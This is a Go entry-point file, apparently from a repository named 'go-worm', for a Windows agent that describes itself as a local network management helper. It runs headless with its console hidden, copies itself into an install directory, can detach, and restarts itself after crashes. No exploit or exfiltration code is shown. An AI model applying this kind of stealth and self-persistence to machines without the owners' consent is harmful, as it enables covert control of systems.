kato
1bba2c6b51
- Deploy exe to alternate port 5033 - Current instance keeps running - Add parallel mode and addr flag - Add update panel to web UI - Update OpenAPI spec and CLI
112 lines
2.6 KiB
Go
112 lines
2.6 KiB
Go
// win64_mp is a Windows-only, local network management helper.
|
|
//
|
|
// Build for Windows x64:
|
|
//
|
|
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
|
//
|
|
// Runs headless by default. Use -foreground for a visible console (dev only).
|
|
// Use -background to spawn a detached copy and exit the launcher.
|
|
package main
|
|
|
|
import (
|
|
"errors"
|
|
"flag"
|
|
"fmt"
|
|
"strings"
|
|
"time"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/install"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
|
)
|
|
|
|
var errAlreadyRunning = errors.New("agent already running")
|
|
|
|
func main() {
|
|
background := flag.Bool("background", false, "spawn detached agent and exit")
|
|
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
|
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
|
skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory")
|
|
parallel := flag.Bool("parallel", false, "allow running beside another agent instance")
|
|
addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)")
|
|
flag.Parse()
|
|
|
|
if !*skipInstall {
|
|
if err := install.Ensure(); err != nil {
|
|
die(err, *foreground)
|
|
}
|
|
}
|
|
|
|
if *ensure {
|
|
if !*foreground {
|
|
instance.HideConsole()
|
|
_ = helpers.AttachLogFile()
|
|
}
|
|
if err := instance.EnsureRunning(); err != nil {
|
|
die(err, *foreground)
|
|
}
|
|
return
|
|
}
|
|
|
|
if *background {
|
|
if err := instance.Detach(); err != nil {
|
|
die(err, *foreground)
|
|
}
|
|
return
|
|
}
|
|
|
|
if !*foreground {
|
|
instance.HideConsole()
|
|
_ = helpers.AttachLogFile()
|
|
}
|
|
|
|
cfg := agent.Config{ListenAddr: *addr, Parallel: *parallel}
|
|
for {
|
|
err := runAgent(cfg)
|
|
if err == nil {
|
|
return
|
|
}
|
|
if errors.Is(err, errAlreadyRunning) {
|
|
return
|
|
}
|
|
crashlog.RecordError(err)
|
|
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
|
|
time.Sleep(config.RestartDelay)
|
|
}
|
|
}
|
|
|
|
func runAgent(cfg agent.Config) (err error) {
|
|
defer func() {
|
|
if r := recover(); r != nil {
|
|
crashlog.RecordPanic(r)
|
|
err = fmt.Errorf("panic: %v", r)
|
|
}
|
|
}()
|
|
|
|
a, err := agent.New(cfg)
|
|
if err != nil {
|
|
if strings.Contains(err.Error(), "already running") {
|
|
return errAlreadyRunning
|
|
}
|
|
return err
|
|
}
|
|
defer a.Close()
|
|
|
|
if err := a.Serve(); err != nil {
|
|
return err
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func die(err error, foreground bool) {
|
|
if !foreground {
|
|
instance.HideConsole()
|
|
_ = helpers.AttachLogFile()
|
|
}
|
|
crashlog.RecordError(err)
|
|
helpers.Log.Fatal(err)
|
|
}
|